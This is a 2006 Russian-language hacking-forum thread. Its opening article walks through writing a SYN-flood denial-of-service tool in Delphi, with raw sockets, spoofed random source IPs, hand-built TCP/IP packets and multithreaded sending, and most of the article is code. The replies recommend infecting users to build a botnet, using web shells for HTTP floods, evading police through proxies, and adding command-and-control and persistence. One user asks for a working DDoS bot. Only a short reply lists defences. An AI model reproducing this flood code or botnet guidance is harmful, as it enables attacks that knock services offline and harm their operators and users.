ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Реализация DoS атак на Delphi.
  #1  
Старый 08.11.2006, 11:43
Аватар для TaNkist
TaNkist
Участник форума
Регистрация: 06.04.2006
Сообщений: 257
Провел на форуме:
367179

Репутация: 76
По умолчанию Реализация DoS атак на Delphi.

Реализация DoS атак на Delphi.



[Инфо] Я думаю, что ты уже наслышан о DdoS-атаках. Хакеры получают огромные деньги за ddos сайтов, держа ресурсы неделями в ауте. Думаешь, что создать бота, способного производить dos-атаки, очень сложно? На самом деле все очень просто и сейчас ты сам в этом убедишься.
[Немного теории] DoS (Denial of Service) – это отказ в обслуживании. Т.е. хакер засоряет канал жертвы мусором так, что она не может отвечать на запросы легальных пользователей. Атакующий может сделать это двумя способами: атаки на переполнение буфера (Buffer Overflow) или отправка большого количество мусора (банальный флуд). Мы будем рассматривать второй вариант. Наша программа будет долбить сервер специально сгенерированными пакетами. Почему специальными? Да, потому что обычными запросами ничего не добьешься (точнее добьешься, только таких запросов нужно отправить слишком много). Мы же будем использовать технику, названную syn-flood. Надеюсь, ты знаешь, что такое TCP/IP протокол, и проблем с пониманием работы этой техникой у тебя не возникает.
Syn-flood основан на особенностях организации соединения между двумя компьютерами по протоколу TCP. Компьютер, который хочет соединиться, отправляет запрос с пакетом SYN. На это другая машина отвечает пакетом с флагом SYNACK. Получив ответ, первый компьютер посылает с флагом ACK, и потом происходит соединение. На рисунках представлена схема соединения.
Клиент --------SYN----------> Сервер
Клиент <----SYNACK--------- Сервер
Клиент --------ACK----------> Сервер

Везде предусмотрено ожидание (т.е. пакет попадает в буфер), иначе бы люди, сидящие на слабых каналах не смогли бы установить соединение.
TCP протокол инкапсулирован в IP (т.е. IP пакет содержит в себе TCP пакет). Именно в IP пакете содержится инфа о получателе и отправителе, а значит мы эту инфу можем подменить. Такой прием называется IP-спуфинг. Теперь сервер будет посылать SYNACK-пакет по «левым» адресам. Учитывая то, что буфер будет расти, хакер сможет серьезно замедлить работу сервера, а то и вовсе ее остановить.
Для того, чтобы все это проделать, придется собирать пакет вручную. А значит придется использовать RAW (сырые сокеты). К сожалению, в Delphi 7 нет поддержки сокетов второй версии (поддерживаются только первые), а самому объявлять необходимые функции и константы мне в лом, поэтому я использовал заголовочный файл WinSock2.pas, скачанный мною из сети.
[Let’s code] Сначала нужно объявить структуры IP и TCP заголовков. Значение всех полей можно прочитать в RFC.
PHP код:
//IP-заголовок
  
iph record
    ip_verlen
byte//Версия и длина 
    
ip_tosbyte//Приоритет пакета
    
ip_lenword// Длина заголовка
    
ip_idword// id -пакета
    
ip_offsetword//Смещение
    
ip_ttlbyte//Время жизни
    
ip_protocolbyte//Протокол
    
ip_checksumword//Контрольная сумма
    
ip_saddrlongword//Адрес отправителя
    
ip_daddrlongword//Адрес получателя
  
end;
  
//TCP-заголовок
  
tcph record
    th_sport
word//Порт отправителя
    
th_dportword//Порт получателя
    
th_seqlongword// Последовательный номер
    
th_acklongword// Подтвержденный номер
    
th_lenbyte// Длина заголовка
    
th_flagsbyte// Кодовые биты
    
th_winword// Окно
    
th_checksumword// Контрольная сумма
    
th_uprword// Кодовые биты
  
end
Итак, чтобы начать работу с библиотекой WinSock2, нужно ее инициализировать
PHP код:
WSAStartup(MAKEWORD(2,2),WSAdata
Теперь создаем «сырой» сокет
PHP код:
  FSocket:=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,nil,0,WSA_FLAG_OVERLAPPED); 
Далее устанавливаем опции соединения (включение заголовка и время отправки):
PHP код:
op:=1;
setsockopt(FSocket,IPPROTO_IP,IP_HDRINCL,@op,sizeof(op));
nTimeOver:=1000;
setsockopt(FSocket,SOL_SOCKET,SO_SNDTIMEO,@nTimeOver,sizeof(nTimeOver));
    
Далее следует большой код сборки пакета.
//Собираем пакет
    //Пишем версию и длину ip-пакета
    
ipHeader.ip_verlen:=((4 shl 4)or sizeof(ipheaderdiv sizeof(longword));
    
ipHeader.ip_len:=htons(Size);
    
ipHeader.ip_tos:=0//Приоритет пакета
    
ipHeader.ip_id:=1;  //id-пакета
    
ipHeader.ip_offset:=0//смещение
    
ipHeader.ip_ttl:=128//время жизни пакета
    
ipHeader.ip_protocol:=IPPROTO_TCP//протокол
      //Генерируем рандомный ip-адресс
      
FromIp:='';
      For 
j:=0 to 3 do
        
begin
          RandIp
:=random(255);
          
Str(Randip,Buffer[j]);
        
end;
    
//lstrcat –функция для сцепки строк
    
lstrcat(Fromip,Buffer[0]);    lstrcat(Fromip,'.');
    
lstrcat(Fromip,Buffer[1]);    lstrcat(Fromip,'.');
    
lstrcat(Fromip,Buffer[2]);    lstrcat(Fromip,'.');
    
lstrcat(Fromip,Buffer[3]);
    
ipHeader.ip_saddr:=inet_addr(FromIp); //Адрес источника
    
ipHeader.ip_daddr:=inet_addr(DestIp) ;//Адрес получателя
    //Заполняем TCP-заголовок
    
TCPHeader.th_sport:=htons(Random(65000)); //Порт источника
    
TCPHeader.th_dport:=htons(port); //Порт получателя
    
TCPHeader.th_seq:=Random(4294967295); //Номер пакета
    
TCPHeader.th_ack:=0;
    
TCPHeader.th_len:=80;
    
//SYN-пакет
    
TCPHeader.th_flags:=2;
    
TCPHeader.th_win:=htons(65535);
    
TCPHeader.th_upr:=0;
    
TCPHeader.th_checksum:=0;//Контрольная сумма TCP-пакета, которая расчитывается ниже
    //Расчет контрольной суммы
    
DataPointer := @TCPIP[0];
    
FillChar(TCPIPSizeOf(TCPIP), 0);
    
Move(ipHeader.ip_saddrDataPointer^, SizeOf(ipHeader.ip_saddr));
    
DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_saddr));
    
ChecksumSize := ChecksumSize sizeof(ipHeader.ip_saddr);
    
Move(ipHeader.ip_daddrDataPointer^, sizeof(ipHeader.ip_daddr));
    
DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_daddr));
    
ChecksumSize := ChecksumSize sizeof(ipHeader.ip_daddr);
    
DataPointer := pointer(integer(DataPointer) + 1);
    
Inc(ChecksumSize);
    
Move(ipHeader.ip_protocolDataPointer^, sizeof(ipHeader.ip_protocol));
    
DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_protocol));
    
ChecksumSize := ChecksumSize sizeof(ipHeader.ip_protocol);
    
TcpHeaderLen := htons(sizeof(tcpHeader));
    
Move(TcpHeaderLenDataPointer^, sizeof(TcpHeaderLen));
    
DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeaderLen));
    
ChecksumSize := ChecksumSize sizeof(TcpHeaderLen);
    
Move(tcpHeaderDataPointer^, sizeof(tcpHeader));
    
DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeader));
    
ChecksumSize := ChecksumSize sizeof(tcpHeader);
    
tcpHeader.th_checksum := CheckSum(TCPIPChecksumSize);
    
FillChar(TCPIPsizeof(TCPIP), 0);
    
DataPointer := @TCPIP[0];
    
Move(ipHeaderDataPointer^, sizeof(ipHeader));
    
DataPointer := pointer(integer(DataPointer) + SizeOf(IPHeader));
    
Move(tcpHeaderDataPointer^, sizeof(tcpHeader));
    
После чего его нужно отправить
For i:=0 to 10 do
    
begin
     
if (sendto(FSocket,TCPIP,Size,0,SockAddr_in,Sizeof(SockAddr_In))=SOCKET_ERROR)
        
then
          Writeln
('Send  error')
        else
          
Writeln('Send ok');  
    
end
Весь код желательно поместить в одну функцию. Чтобы создать достаточную нагрузку на сервер нужно использовать многопоточность. Создаем потоки с помощью CreateThread и ждем завершения выполнения с помощью WaitForMultipleObjects
PHP код:
  //Создаем потоки
 
for i:=0 to (CountT-1) do
  
Begin      hThread[i]:=CreateThread(nil,0,@SINFLOOD,nil,0,ThreadID[i]);
  
end;
 
WaitForMultipleObjects(CountT,@hthread,true,INFINITE); 
Не надейся, что с диалапа ты сможешь завалить сервер Microsoft’а. В настоящий момент у серверов ширина канала и производительность намного превышает пользовательские возможности, поэтому чтобы завалить сервак нужно атаковать его с помощью сети состоящей из большого количества зараженных машин. Также не стоит забывать, что flood карается нашим законадательством, поэтому если не хочешь провети ближайшие несколько лет за решеткой, будь благоразумен.
Материалы к статье
(c) TanKisT
 
Ответить с цитированием

  #2  
Старый 08.11.2006, 14:08
Аватар для MegaBits
MegaBits
Участник форума
Регистрация: 30.08.2006
Сообщений: 181
Провел на форуме:
1058786

Репутация: 45
По умолчанию

Да статья ничего, но как говорилась выше "Не надейся, что с диалапа ты сможешь завалить сервер Microsoft’а". это один большой недостаток лучше протроянить пару сотен юзеров и создать ботнет. А за то, что прога написана на Delphi и за старание +.
 
Ответить с цитированием

  #3  
Старый 09.11.2006, 11:18
Аватар для byte57
byte57
Постоянный
Регистрация: 22.01.2005
Сообщений: 764
Провел на форуме:
1086047

Репутация: 67


По умолчанию

Насчет протроянивания - частичная правда. Как вы знаете, существует 4 разновидности DDOS атак. (читать тут )

В последнее время очень популярным стал способ http-ddos'а, так как на его реализацию требуется меньше средств, да и ресурсов пары сотен веб-шеллов вам может хватить на то, чтобы завалить проект средней защищенности (на мелкомягкий даже самый сильный ботнет лучше не направлять - могу смело утверждать, что как бы вы не шифровались, если правоохранительные органы будут сильно заинтересованы в вашей поимке - вы будете пойманы - так что делаем свои дела втихую). Не забываем про прокси перед тем, как зайти в админку ботнета.

В любом случае скажу, что боевой софт нормального размера на делфях не написать. Максимум связка дельфи+асм. Хотя автору могу сказать, что для собственного опыта будет полезно доделать реализацию обращений к админке и получения от нее команд. Позже продумай удачное закрепление бота в системе и прочее для реализации нормальной работоспособности ботов.
 
Ответить с цитированием

  #4  
Старый 12.11.2006, 08:10
Аватар для TaNkist
TaNkist
Участник форума
Регистрация: 06.04.2006
Сообщений: 257
Провел на форуме:
367179

Репутация: 76
По умолчанию

Методы защиты от Syn-flood'а:
1. Выбор оптимального таймаута и очитска старых соединений.
2. Syncookie.
 
Ответить с цитированием

  #5  
Старый 28.07.2007, 04:24
Аватар для LEE_ROY
LEE_ROY
Постоянный
Регистрация: 09.11.2006
Сообщений: 639
Провел на форуме:
1917742

Репутация: 541


По умолчанию

перезалейте сырц плз, заранее спс.
 
Ответить с цитированием

  #6  
Старый 29.07.2007, 00:13
Аватар для Cawabunga
Cawabunga
Постоянный
Регистрация: 16.04.2007
Сообщений: 458
Провел на форуме:
2722721

Репутация: 364
Отправить сообщение для Cawabunga с помощью ICQ
По умолчанию

Знаю что не в тему но может у каво есть рабочий ддос бот? плс в личку киньте сылку буду благодарен!
 
Ответить с цитированием

  #7  
Старый 29.07.2007, 00:15
Аватар для Feshh
Feshh
Banned
Регистрация: 06.03.2007
Сообщений: 160
Провел на форуме:
2570374

Репутация: 11
Отправить сообщение для Feshh с помощью ICQ
По умолчанию

которые норм работают - привадные ) их покупать надо )
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Простая антиотладка на Delphi TaNkist Авторские статьи 13 03.11.2006 17:00
Обнаружение атак D=P=CH= MOD= Защита ОС: вирусы, антивирусы, файрволы. 3 03.10.2006 21:29
.:Join-им 2 exe-шника ручками (using Delphi):. xShreKx Авторские статьи 6 12.06.2006 16:22
Обнаружение Sql инъекций и Css атак k00p3r Чужие Статьи 0 12.06.2005 20:43



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ